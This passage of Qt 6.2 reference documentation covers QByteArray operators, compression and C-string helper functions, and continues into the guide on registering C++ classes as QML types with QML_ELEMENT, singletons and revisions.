
 Example:

 
```
QByteArray ba("Stockholm");
ba.truncate(5);             // ba == "Stock"
```
 **See also** [chop](qbytearray#chop)(), [resize](qbytearray#resize)(), and [first](qbytearray#first)().

 ### 
bool QByteArray::operator!=(const [QString](qstring) &*str*) const

 Returns `true` if this byte array is not equal to the UTF-8 encoding of *str*; otherwise returns `false`.

 The comparison is case sensitive.

 You can disable this operator by defining `QT_NO_CAST_FROM_ASCII` when you compile your applications. You then need to call [QString::fromUtf8](qstring#fromUtf8)(), [QString::fromLatin1](qstring#fromLatin1)(), or [QString::fromLocal8Bit](qstring#fromLocal8Bit)() explicitly if you want to convert the byte array to a [QString](qstring) before doing the comparison.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::operator+=(const [QByteArray](qbytearray#QByteArray) &*ba*)

 Appends the byte array *ba* onto the end of this byte array and returns a reference to this byte array.

 Example:

 
```
QByteArray x("free");
QByteArray y("dom");
x += y;
// x == "freedom"
```
 Note: [QByteArray](qbytearray) is an [implicitly shared](implicit-sharing) class. Consequently, if you append to an empty byte array, then the byte array will just share the data held in *ba*. In this case, no copying of data is done, taking [constant time](containers#constant-time). If a shared instance is modified, it will be copied (copy-on-write), taking [linear time](containers#linear-time).

 If the byte array being appended to is not empty, a deep copy of the data is performed, taking [linear time](containers#linear-time).

 This operation typically does not suffer from allocation overhead, because [QByteArray](qbytearray) preallocates extra space at the end of the data so that it may grow without reallocating for each append operation.

 **See also** [append](qbytearray#append)() and [prepend](qbytearray#prepend)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::operator+=(char *ch*)

 This is an overloaded function.

 Appends the byte *ch* onto the end of this byte array and returns a reference to this byte array.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::operator+=(const char \**str*)

 This is an overloaded function.

 Appends the '\0'-terminated string *str* onto the end of this byte array and returns a reference to this byte array.

 ### 
bool QByteArray::operator<(const [QString](qstring) &*str*) const

 Returns `true` if this byte array is lexically less than the UTF-8 encoding of *str*; otherwise returns `false`.

 The comparison is case sensitive.

 You can disable this operator by defining `QT_NO_CAST_FROM_ASCII` when you compile your applications. You then need to call [QString::fromUtf8](qstring#fromUtf8)(), [QString::fromLatin1](qstring#fromLatin1)(), or [QString::fromLocal8Bit](qstring#fromLocal8Bit)() explicitly if you want to convert the byte array to a [QString](qstring) before doing the comparison.

 ### 
bool QByteArray::operator<=(const [QString](qstring) &*str*) const

 Returns `true` if this byte array is lexically less than or equal to the UTF-8 encoding of *str*; otherwise returns `false`.

 The comparison is case sensitive.

 You can disable this operator by defining `QT_NO_CAST_FROM_ASCII` when you compile your applications. You then need to call [QString::fromUtf8](qstring#fromUtf8)(), [QString::fromLatin1](qstring#fromLatin1)(), or [QString::fromLocal8Bit](qstring#fromLocal8Bit)() explicitly if you want to convert the byte array to a [QString](qstring) before doing the comparison.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::operator=(const char \**str*)

 This is an overloaded function.

 Assigns *str* to this byte array.

 ### 
bool QByteArray::operator==(const [QString](qstring) &*str*) const

 Returns `true` if this byte array is equal to the UTF-8 encoding of *str*; otherwise returns `false`.

 The comparison is case sensitive.

 You can disable this operator by defining `QT_NO_CAST_FROM_ASCII` when you compile your applications. You then need to call [QString::fromUtf8](qstring#fromUtf8)(), [QString::fromLatin1](qstring#fromLatin1)(), or [QString::fromLocal8Bit](qstring#fromLocal8Bit)() explicitly if you want to convert the byte array to a [QString](qstring) before doing the comparison.

 ### 
bool QByteArray::operator>(const [QString](qstring) &*str*) const

 Returns `true` if this byte array is lexically greater than the UTF-8 encoding of *str*; otherwise returns `false`.

 The comparison is case sensitive.

 You can disable this operator by defining `QT_NO_CAST_FROM_ASCII` when you compile your applications. You then need to call [QString::fromUtf8](qstring#fromUtf8)(), [QString::fromLatin1](qstring#fromLatin1)(), or [QString::fromLocal8Bit](qstring#fromLocal8Bit)() explicitly if you want to convert the byte array to a [QString](qstring) before doing the comparison.

 ### 
bool QByteArray::operator>=(const [QString](qstring) &*str*) const

 Returns `true` if this byte array is greater than or equal to the UTF-8 encoding of *str*; otherwise returns `false`.

 The comparison is case sensitive.

 You can disable this operator by defining `QT_NO_CAST_FROM_ASCII` when you compile your applications. You then need to call [QString::fromUtf8](qstring#fromUtf8)(), [QString::fromLatin1](qstring#fromLatin1)(), or [QString::fromLocal8Bit](qstring#fromLocal8Bit)() explicitly if you want to convert the byte array to a [QString](qstring) before doing the comparison.

 ### 
char &QByteArray::operator[](qsizetype *i*)

 Returns the byte at index position *i* as a modifiable reference.

 *i* must be a valid index position in the byte array (i.e., 0 <= *i* < [size](qbytearray#size)()).

 Example:

 
```
QByteArray ba("Hello, world");
cout << ba[0]; // prints H
ba[7] = 'W';
// ba == "Hello, World"
```
 **See also** [at](qbytearray#at)().

 ### 
char QByteArray::operator[](qsizetype *i*) const

 This is an overloaded function.

 Same as at(*i*).

  Related Non-Members
-------------------

 ### 
`[since 6.1]` template <typename T> qsizetype erase([QByteArray](qbytearray#QByteArray) &*ba*, const T &*t*)

 Removes all elements that compare equal to *t* from the byte array *ba*. Returns the number of elements removed, if any.

 This function was introduced in Qt 6.1.

 **See also** [erase\_if](qbytearray#erase_if).

 ### 
`[since 6.1]` template <typename Predicate> qsizetype erase\_if([QByteArray](qbytearray#QByteArray) &*ba*, Predicate *pred*)

 Removes all elements for which the predicate *pred* returns true from the byte array *ba*. Returns the number of elements removed, if any.

 This function was introduced in Qt 6.1.

 **See also** [erase](qbytearray#erase).

 ### 
`[since 5.9]` [quint16](qtglobal#quint16-typedef) qChecksum([QByteArrayView](qbytearrayview) *data*, [Qt::ChecksumType](qt#ChecksumType-enum) *standard* = Qt::ChecksumIso3309)

 Returns the CRC-16 checksum of *data*.

 The checksum is independent of the byte order (endianness) and will be calculated accorded to the algorithm published in *standard*. By default the algorithm published in ISO 3309 ([Qt::ChecksumIso3309](qt#ChecksumType-enum)) is used.

  **Note:** This function is a 16-bit cache conserving (16 entry table) implementation of the CRC-16-CCITT algorithm.

  This function was introduced in Qt 5.9.

 ### 
[QByteArray](qbytearray#QByteArray) qCompress(const [QByteArray](qbytearray#QByteArray) &*data*, int *compressionLevel* = -1)

 Compresses the *data* byte array and returns the compressed data in a new byte array.

 The *compressionLevel* parameter specifies how much compression should be used. Valid values are between 0 and 9, with 9 corresponding to the greatest compression (i.e. smaller compressed data) at the cost of using a slower algorithm. Smaller values (8, 7, ..., 1) provide successively less compression at slightly faster speeds. The value 0 corresponds to no compression at all. The default value is -1, which specifies zlib's default compression.

 **See also** [qUncompress](qbytearray#qUncompress-1)(const QByteArray &data).

 ### 
[QByteArray](qbytearray#QByteArray) qCompress(const [uchar](qtglobal#uchar-typedef) \**data*, qsizetype *nbytes*, int *compressionLevel* = -1)

 This is an overloaded function.

 Compresses the first *nbytes* of *data* at compression level *compressionLevel* and returns the compressed data in a new byte array.

 ### 
[QByteArray](qbytearray#QByteArray) qUncompress(const [QByteArray](qbytearray#QByteArray) &*data*)

 Uncompresses the *data* byte array and returns a new byte array with the uncompressed data.

 Returns an empty [QByteArray](qbytearray) if the input data was corrupt.

 This function will uncompress data compressed with [qCompress](qbytearray#qCompress)() from this and any earlier Qt version, back to Qt 3.1 when this feature was added.

 **Note:** If you want to use this function to uncompress external data that was compressed using zlib, you first need to prepend a four byte header to the byte array containing the data. The header must contain the expected length (in bytes) of the uncompressed data, expressed as an unsigned, big-endian, 32-bit integer.

 **See also** [qCompress](qbytearray#qCompress)().

 ### 
[QByteArray](qbytearray#QByteArray) qUncompress(const [uchar](qtglobal#uchar-typedef) \**data*, qsizetype *nbytes*)

 This is an overloaded function.

 Uncompresses the first *nbytes* of *data* and returns a new byte array with the uncompressed data.

 ### 
int qsnprintf(char \**str*, size\_t *n*, const char \**fmt*, ...)

 A portable snprintf() function, calls qvsnprintf.

 *fmt* is the `printf()` format string. The result is put into *str*, which is a buffer of at least *n* bytes.

  **Warning:** Call this function only when you know what you are doing since it shows different behavior on certain platforms. Use [QString::asprintf](qstring#asprintf)() to format a string instead.

  **See also** [qvsnprintf](qbytearray#qvsnprintf)() and [QString::asprintf](qstring#asprintf)().

 ### 
int qstrcmp(const char \**str1*, const char \**str2*)

 A safe `strcmp()` function.

 Compares *str1* and *str2*. Returns a negative value if *str1* is less than *str2*, 0 if *str1* is equal to *str2* or a positive value if *str1* is greater than *str2*.

 If both strings are `nullptr`, they are deemed equal; otherwise, if either is `nullptr`, it is treated as less than the other (even if the other is an empty string).

 **See also** [qstrncmp](qbytearray#qstrncmp)(), [qstricmp](qbytearray#qstricmp)(), [qstrnicmp](qbytearray#qstrnicmp)(), [Character Case](qbytearray#character-case), and [QByteArray::compare](qbytearray#compare)().

 ### 
char \*qstrcpy(char \**dst*, const char \**src*)

 Copies all the characters up to and including the '\0' from *src* into *dst* and returns a pointer to *dst*. If *src* is `nullptr`, it immediately returns `nullptr`.

 This function assumes that *dst* is large enough to hold the contents of *src*.

  **Note:** If *dst* and *src* overlap, the behavior is undefined.

  **See also** [qstrncpy](qbytearray#qstrncpy)().

 ### 
char \*qstrdup(const char \**src*)

 Returns a duplicate string.

 Allocates space for a copy of *src*, copies it, and returns a pointer to the copy. If *src* is `nullptr`, it immediately returns `nullptr`.

 Ownership is passed to the caller, so the returned string must be deleted using `delete[]`.

 ### 
int qstricmp(const char \**str1*, const char \**str2*)

 A safe `stricmp()` function.

 Compares *str1* and *str2*, ignoring differences in the case of any ASCII characters.

 Returns a negative value if *str1* is less than *str2*, 0 if *str1* is equal to *str2* or a positive value if *str1* is greater than *str2*.

 If both strings are `nullptr`, they are deemed equal; otherwise, if either is `nullptr`, it is treated as less than the other (even if the other is an empty string).

 **See also** [qstrcmp](qbytearray#qstrcmp)(), [qstrncmp](qbytearray#qstrncmp)(), [qstrnicmp](qbytearray#qstrnicmp)(), [Character Case](qbytearray#character-case), and [QByteArray::compare](qbytearray#compare)().

 ### 
size\_t qstrlen(const char \**str*)

 A safe `strlen()` function.

 Returns the number of characters that precede the terminating '\0', or 0 if *str* is `nullptr`.

 **See also** [qstrnlen](qbytearray#qstrnlen)().

 ### 
int qstrncmp(const char \**str1*, const char \**str2*, size\_t *len*)

 A safe `strncmp()` function.

 Compares at most *len* bytes of *str1* and *str2*.

 Returns a negative value if *str1* is less than *str2*, 0 if *str1* is equal to *str2* or a positive value if *str1* is greater than *str2*.

 If both strings are `nullptr`, they are deemed equal; otherwise, if either is `nullptr`, it is treated as less than the other (even if the other is an empty string or *len* is 0).

 **See also** [qstrcmp](qbytearray#qstrcmp)(), [qstricmp](qbytearray#qstricmp)(), [qstrnicmp](qbytearray#qstrnicmp)(), [Character Case](qbytearray#character-case), and [QByteArray::compare](qbytearray#compare)().

 ### 
char \*qstrncpy(char \**dst*, const char \**src*, size\_t *len*)

 A safe `strncpy()` function.

 Copies at most *len* bytes from *src* (stopping at *len* or the terminating '\0' whichever comes first) into *dst* and returns a pointer to *dst*. Guarantees that *dst* is '\0'-terminated. If *src* or *dst* is `nullptr`, returns `nullptr` immediately.

 This function assumes that *dst* is at least *len* characters long.

  **Note:** If *dst* and *src* overlap, the behavior is undefined.

  **See also** [qstrcpy](qbytearray#qstrcpy)().

 ### 
int qstrnicmp(const char \**str1*, const char \**str2*, size\_t *len*)

 A safe `strnicmp()` function.

 Compares at most *len* bytes of *str1* and *str2*, ignoring differences in the case of any ASCII characters.

 Returns a negative value if *str1* is less than *str2*, 0 if *str1* is equal to *str2* or a positive value if *str1* is greater than *str2*.

 If both strings are `nullptr`, they are deemed equal; otherwise, if either is `nullptr`, it is treated as less than the other (even if the other is an empty string or *len* is 0).

 **See also** [qstrcmp](qbytearray#qstrcmp)(), [qstrncmp](qbytearray#qstrncmp)(), [qstricmp](qbytearray#qstricmp)(), [Character Case](qbytearray#character-case), and [QByteArray::compare](qbytearray#compare)().

 ### 
size\_t qstrnlen(const char \**str*, size\_t *maxlen*)

 A safe `strnlen()` function.

 Returns the number of characters that precede the terminating '\0', but at most *maxlen*. If *str* is `nullptr`, returns 0.

 **See also** [qstrlen](qbytearray#qstrlen)().

 ### 
int qvsnprintf(char \**str*, size\_t *n*, const char \**fmt*, va\_list *ap*)

 A portable `vsnprintf()` function. Will call `::vsnprintf()`, `::_vsnprintf()`, or `::vsnprintf_s` depending on the system, or fall back to an internal version.

 *fmt* is the `printf()` format string. The result is put into *str*, which is a buffer of at least *n* bytes.

 The caller is responsible to call `va_end()` on *ap*.

  **Warning:** Since vsnprintf() shows different behavior on certain platforms, you should not rely on the return value or on the fact that you will always get a 0 terminated string back.

  Ideally, you should never call this function but use [QString::asprintf](qstring#asprintf)() instead.

 **See also** [qsnprintf](qbytearray#qsnprintf)() and [QString::asprintf](qstring#asprintf)().

 ### 
bool operator!=(const [QByteArray](qbytearray#QByteArray) &*a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is not equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator!=(const [QByteArray](qbytearray#QByteArray) &*a1*, const char \**a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is not equal to the '\0'-terminated string *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator!=(const char \**a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if '\0'-terminated string *a1* is not equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
`[since 6.2]` [QByteArray](qbytearray#QByteArray) operator""\_qba(const char \**str*, size\_t *size*)

 Literal operator that creates a [QByteArray](qbytearray) out of the first *size* characters in the char string literal *str*.

 The [QByteArray](qbytearray) is created at compile time, and the generated string data is stored in the read-only segment of the compiled object file. Duplicate literals may share the same read-only memory. This functionality is interchangeable with [QByteArrayLiteral](qbytearray#QByteArrayLiteral), but saves typing when many string literals are present in the code.

 The following code creates a [QByteArray](qbytearray):

 
```
auto str = "hello"_qba;
```
 This function was introduced in Qt 6.2.

 **See also** [QByteArrayLiteral](qbytearray#QByteArrayLiteral) and [QtLiterals::operator""\_qs](qstring#operator-22-22_qs)(const char16\_t \*str, size\_t size).

 ### const [QByteArray](qbytearray#QByteArray) operator+(const [QByteArray](qbytearray#QByteArray) &*a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 Returns a byte array that is the result of concatenating byte array *a1* and byte array *a2*.

 **See also** [QByteArray::operator+=](qbytearray#operator-2b-eq)().

 ### const [QByteArray](qbytearray#QByteArray) operator+(const [QByteArray](qbytearray#QByteArray) &*a1*, const char \**a2*)

 This is an overloaded function.

 Returns a byte array that is the result of concatenating byte array *a1* and '\0'-terminated string *a2*.

 ### const [QByteArray](qbytearray#QByteArray) operator+(const [QByteArray](qbytearray#QByteArray) &*a1*, char *a2*)

 This is an overloaded function.

 Returns a byte array that is the result of concatenating byte array *a1* and byte *a2*.

 ### const [QByteArray](qbytearray#QByteArray) operator+(const char \**a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns a byte array that is the result of concatenating '\0'-terminated string *a1* and byte array *a2*.

 ### const [QByteArray](qbytearray#QByteArray) operator+(char *a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns a byte array that is the result of concatenating byte *a1* and byte array *a2*.

 ### 
bool operator<(const [QByteArray](qbytearray#QByteArray) &*a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically less than byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator<(const [QByteArray](qbytearray#QByteArray) &*a1*, const char \**a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically less than the '\0'-terminated string *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator<(const char \**a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if '\0'-terminated string *a1* is lexically less than byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
[QDataStream](qdatastream) &operator<<([QDataStream](qdatastream) &*out*, const [QByteArray](qbytearray#QByteArray) &*ba*)

 Writes byte array *ba* to the stream *out* and returns a reference to the stream.

 **See also** [Serializing Qt Data Types](datastreamformat).

 ### 
bool operator<=(const [QByteArray](qbytearray#QByteArray) &*a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically less than or equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator<=(const [QByteArray](qbytearray#QByteArray) &*a1*, const char \**a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically less than or equal to the '\0'-terminated string *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator<=(const char \**a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if '\0'-terminated string *a1* is lexically less than or equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator==(const [QByteArray](qbytearray#QByteArray) &*a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator==(const [QByteArray](qbytearray#QByteArray) &*a1*, const char \**a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is equal to the '\0'-terminated string *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator==(const char \**a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if '\0'-terminated string *a1* is equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator>(const [QByteArray](qbytearray#QByteArray) &*a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically greater than byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator>(const [QByteArray](qbytearray#QByteArray) &*a1*, const char \**a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically greater than the '\0'-terminated string *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator>(const char \**a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if '\0'-terminated string *a1* is lexically greater than byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator>=(const [QByteArray](qbytearray#QByteArray) &*a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically greater than or equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator>=(const [QByteArray](qbytearray#QByteArray) &*a1*, const char \**a2*)

 This is an overloaded function.

 Returns `true` if byte array *a1* is lexically greater than or equal to the '\0'-terminated string *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
bool operator>=(const char \**a1*, const [QByteArray](qbytearray#QByteArray) &*a2*)

 This is an overloaded function.

 Returns `true` if '\0'-terminated string *a1* is lexically greater than or equal to byte array *a2*; otherwise returns `false`.

 **See also** [QByteArray::compare](qbytearray#compare)().

 ### 
[QDataStream](qdatastream) &operator>>([QDataStream](qdatastream) &*in*, [QByteArray](qbytearray#QByteArray) &*ba*)

 Reads a byte array into *ba* from the stream *in* and returns a reference to the stream.

 **See also** [Serializing Qt Data Types](datastreamformat).

   Macro Documentation
-------------------

 ### 
QByteArrayLiteral(*ba*)

 The macro generates the data for a [QByteArray](qbytearray) out of the string literal *ba* at compile time. Creating a [QByteArray](qbytearray) from it is free in this case, and the generated byte array data is stored in the read-only segment of the compiled object file.

 For instance:

 
```
QByteArray ba = QByteArrayLiteral("byte array contents");
```
 Using QByteArrayLiteral instead of a double quoted plain C++ string literal can significantly speed up creation of [QByteArray](qbytearray) instances from data known at compile time.

 **See also** [QStringLiteral](qstring#QStringLiteral).

 ### 
QT\_NO\_CAST\_FROM\_BYTEARRAY

 Disables automatic conversions from [QByteArray](qbytearray) to const char \* or const void \*.

 **See also** [QT\_NO\_CAST\_TO\_ASCII](qstring#QT_NO_CAST_TO_ASCII) and [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qbytearray.html>

Defining QML Types from C++
===========================

 When extending QML with C++ code, a C++ class can be registered with the QML type system to enable the class to be used as a data type within QML code. While the properties, methods and signals of any [QObject](qobject)-derived class are accessible from QML, as discussed in [Exposing Attributes of C++ Types to QML](qtqml-cppintegration-exposecppattributes), such a class cannot be used as a data type from QML until it is registered with the type system. Additionally registration can provide other features, such as allowing a class to be used as an instantiable [QML object type](qtqml-typesystem-objecttypes) from QML, or enabling a singleton instance of the class to be imported and used from QML.

 Additionally, the [Qt QML](qtqml-index) module provides mechanisms for implementing QML-specific features such as *attached properties* and *default properties* in C++.

 (Note that a number of the important concepts covered in this document are demonstrated in the [Writing QML Extensions with C++](https://doc.qt.io/qt-6.2/qtqml-tutorials-extending-qml-example.html) tutorial.)

 **NOTE:** All headers that declare QML types need to be accessible without any prefix from the project's include path.

 Registering C++ Types with the QML Type System
----------------------------------------------

 A [QObject](qobject)-derived class can be registered with the QML type system to enable the type to be used as a data type from within QML code.

 The engine allows the registration of both instantiable and non-instantiable types. Registering an instantiable type enables a C++ class to be used as the definition of a QML object type, allowing it to be used in object declarations from QML code to create objects of this type. Registration also provides the engine with additional type metadata, enabling the type (and any enums declared by the class) to be used as a data type for property values, method parameters and return values, and signal parameters that are exchanged between QML and C++.

 Registering a non-instantiable type also registers the class as a data type in this manner, but the type cannot be used instantiated as a QML object type from QML. This is useful, for example, if a type has enums that should be exposed to QML but the type itself should not be instantiable.

 For a quick guide to choosing the correct approach to expose C++ types to QML, see [Choosing the Correct Integration Method Between C++ and QML](https://doc.qt.io/qt-6.2/qtqml-cppintegration-overview.html#choosing-the-correct-integration-method-between-c-and-qml).

 ### Preconditions

 All the macros mentioned below are available from the `qqmlregistration.h` header. You need to add the following code to the files using them in order to make the macros available:

 
```
#include <QtQml/qqmlregistration.h>
```
 Furthermore, your class declarations have to live in headers reachable via your project's include path. The declarations are used to generate registration code at compile time, and the registration code needs to include the headers that contain the declarations.

 ### Registering an Instantiable Object Type

 **Any [QObject](qobject)-derived C++ class can be registered as the definition of a [QML object type](qtqml-typesystem-objecttypes)**. Once a class is registered with the QML type system, the class can be declared and instantiated like any other object type from QML code. Once created, a class instance can be manipulated from QML; as [Exposing Attributes of C++ Types to QML](qtqml-cppintegration-exposecppattributes) explains, the properties, methods and signals of any [QObject](qobject)-derived class are accessible from QML code.

 To register a [QObject](qobject)-derived class as an instantiable QML object type, add `QML_ELEMENT` or `QML_NAMED_ELEMENT(<name>)` to the class declaration and `CONFIG += qmltypes`, a `QML_IMPORT_NAME`, and a `QML_IMPORT_MAJOR_VERSION` to your project file. This will register the class into the type namespace under the given major version, using either the class name or an explicitly given name as QML type name. The minor version(s) will be derived from any revisions attached to properties, methods, or signals. The default minor version is `0`. You can explicitly restrict the type to be available only from specific minor versions by adding the `QML_ADDED_IN_MINOR_VERSION()` macro to the class declaration. Clients can import suitable versions of the namespace in order to use the type.

 For example, suppose there is a `Message` class with `author` and `creationDate` properties:

 
```
class Message : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QString author READ author WRITE setAuthor NOTIFY authorChanged)
    Q_PROPERTY(QDateTime creationDate READ creationDate WRITE setCreationDate NOTIFY creationDateChanged)
    QML_ELEMENT
public:
    // ...
};
```
 This type can be registered by adding an appropriate type namespace and version number to the project file. For example, to make the type available in the `com.mycompany.messaging` namespace with version 1.0:

 
```
CONFIG += qmltypes
QML_IMPORT_NAME = com.mycompany.messaging
QML_IMPORT_MAJOR_VERSION = 1
```
 If the header the class is declared in is not accessible from your project's include path, you may have to amend the include path so that the generated registration code can be compiled:

 
```
INCLUDEPATH += com/mycompany/messaging
```
 The type can be used in an [object declaration](qtqml-syntax-basics#object-declarations) from QML, and its properties can be read and written to, as per the example below:

 
```
import com.mycompany.messaging 1.0

Message {
    author: "Amelie"
    creationDate: new Date()
}
```
 ### Registering Non-Instantiable Types

 Sometimes a [QObject](qobject)-derived class may need to be registered with the QML type system but not as an instantiable type. For example, this is the case if a C++ class:

 * is an interface type that should not be instantiable
* is a base class type that does not need to be exposed to QML
* declares some enum that should be accessible from QML, but otherwise should not be instantiable
* is a type that should be provided to QML through a singleton instance, and should not be instantiable from QML

 The [Qt QML](qtqml-index) module provides several macros for registering non-instantiable types:

 * [QML\_ANONYMOUS](qqmlengine#QML_ANONYMOUS) registers a C++ type that is not instantiable and cannot be referred to from QML. This enables the engine to coerce any inherited types that are instantiable from QML.
* [QML\_INTERFACE](qqmlengine#QML_INTERFACE) registers an existing Qt interface type. The type is not instantiable from QML, and you cannot declare QML properties with it. Using C++ properties of this type from QML will do the expected interface casts, though.
* [QML\_UNCREATABLE](qqmlengine#QML_UNCREATABLE)(reason) combined with with [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT) registers a named C++ type that is not instantiable but should be identifiable as a type to the QML type system. This is useful if a type's enums or attached properties should be accessible from QML but the type itself should not be instantiable. The parameter should be an error message to be emitted if an attempt at creating an instance of the type is detected.
* [QML\_SINGLETON](qqmlengine#QML_SINGLETON) combined with [QML\_ELEMENT](qqmlengine#QML_ELEMENT) or [QML\_NAMED\_ELEMENT](qqmlengine#QML_NAMED_ELEMENT) registers a singleton type that can be imported from QML, as discussed below.

 Note that all C++ types registered with the QML type system must be [QObject](qobject)-derived, even if they are non-instantiable.

 #### Registering Singleton Objects with a Singleton Type

 A singleton type enables properties, signals and methods to be exposed in a namespace without requiring the client to manually instantiate an object instance. [QObject](qobject) singleton types in particular are an efficient and convenient way to provide functionality or global property values.

 Note that singleton types do not have an associated [QQmlContext](qqmlcontext) as they are shared across all contexts in an engine. [QObject](qobject) singleton type instances are constructed and owned by the [QQmlEngine](qqmlengine), and will be destroyed when the engine is destroyed.

 A [QObject](qobject) singleton type can be interacted with in a manner similar to any other [QObject](qobject) or instantiated type, except that only one (engine constructed and owned) instance will exist, and it must be referenced by type name rather than id. Q\_PROPERTYs of [QObject](qobject) singleton types may be bound to, and [Q\_INVOKABLE](qobject#Q_INVOKABLE) functions of [QObject](qobject) module APIs may be used in signal handler expressions. This makes singleton types an ideal way to implement styling or theming, and they can also be used instead of ".pragma library" script imports to store global state or to provide global functionality.

 Once registered, a [QObject](qobject) singleton type may be imported and used like any other [QObject](qobject) instance exposed to QML. The following example assumes that a [QObject](qobject) singleton type was registered into the "MyThemeModule" namespace with version 1.0, where that [QObject](qobject) has a [QColor](qcolor) "color" [Q\_PROPERTY](qobject#Q_PROPERTY):

 
```
import MyThemeModule 1.0 as Theme

Rectangle {
    color: Theme.color // binding.
}
```
 A [QJSValue](qjsvalue) may also be exposed as a singleton type, however clients should be aware that properties of such a singleton type cannot be bound to.

 See [QML\_SINGLETON](qqmlengine#QML_SINGLETON) for more information on how implement and register a new singleton type, and how to use an existing singleton type.

  **Note:** Enum values for registered types in QML should start with a capital.

  ### Final properties

 Properties declared final using the `FINAL` modifier to [Q\_PROPERTY](qobject#Q_PROPERTY) cannot be overridden. This means that any properties or functions of the same name, declared either in QML or in C++ on derived types, are ignored by the QML engine. You should declare properties `FINAL` when possible, in order to avoid accidental overrides. An override of a property is visible not only in derived classes, but also to QML code executing the context of the base class. Such QML code, typically expects the original property, though. This is a frequent source of mistakes.

 Properties declared `FINAL` can also not be overridden by functions in QML, or by [Q\_INVOKABLE](qobject#Q_INVOKABLE) methods in C++.

 ### Type Revisions and Versions

 Many of the type registration functions require versions to be specified for the registered type. Type revisions and versions allow new properties or methods to exist in the new version while remaining compatible with previous versions.

 Consider these two QML files:

 
```
// main.qml
import QtQuick 1.0

Item {
    id: root
    MyType {}
}
```
 
```
// MyType.qml
import MyTypes 1.0

CppType {
    value: root.x
}
```
 where `CppType` maps to the C++ class `CppType`.

 If the author of CppType adds a `root` property to CppType in a new version of their type definition, `root.x` now resolves to a different value because `root` is also the `id` of the top level component. The author could specify that the new `root` property is available from a specific minor version. This permits new properties and features to be added to existing types without breaking existing programs.

 The REVISION tag is used to mark the `root` property as added in revision 1 of the type. Methods such as [Q\_INVOKABLE](qobject#Q_INVOKABLE)'s, signals and slots can also be tagged for a revision using the `Q_REVISION(x)` macro:

 
```
class CppType : public BaseType
{
    Q_OBJECT
    Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1)
    QML_ELEMENT

signals:
    Q_REVISION(1) void rootChanged();
};
```
 The revisions given this way are automatically interpreted as minor versions to the major version given in the project file. In this case, `root` is only available when `MyTypes` version 1.1 or higher is imported. Imports of `MyTypes` version 1.0 remain unaffected.

 For the same reason, new types introduced in later versions should be tagged with the [QML\_ADDED\_IN\_MINOR\_VERSION](qqmlengine#QML_ADDED_IN_MINOR_VERSION) macro.

 This feature of the language allows for behavioural changes to be made without breaking existing applications. Consequently QML module authors should always remember to document what changed between minor versions, and QML module users should check that their application still runs correctly before deploying an updated import statement.

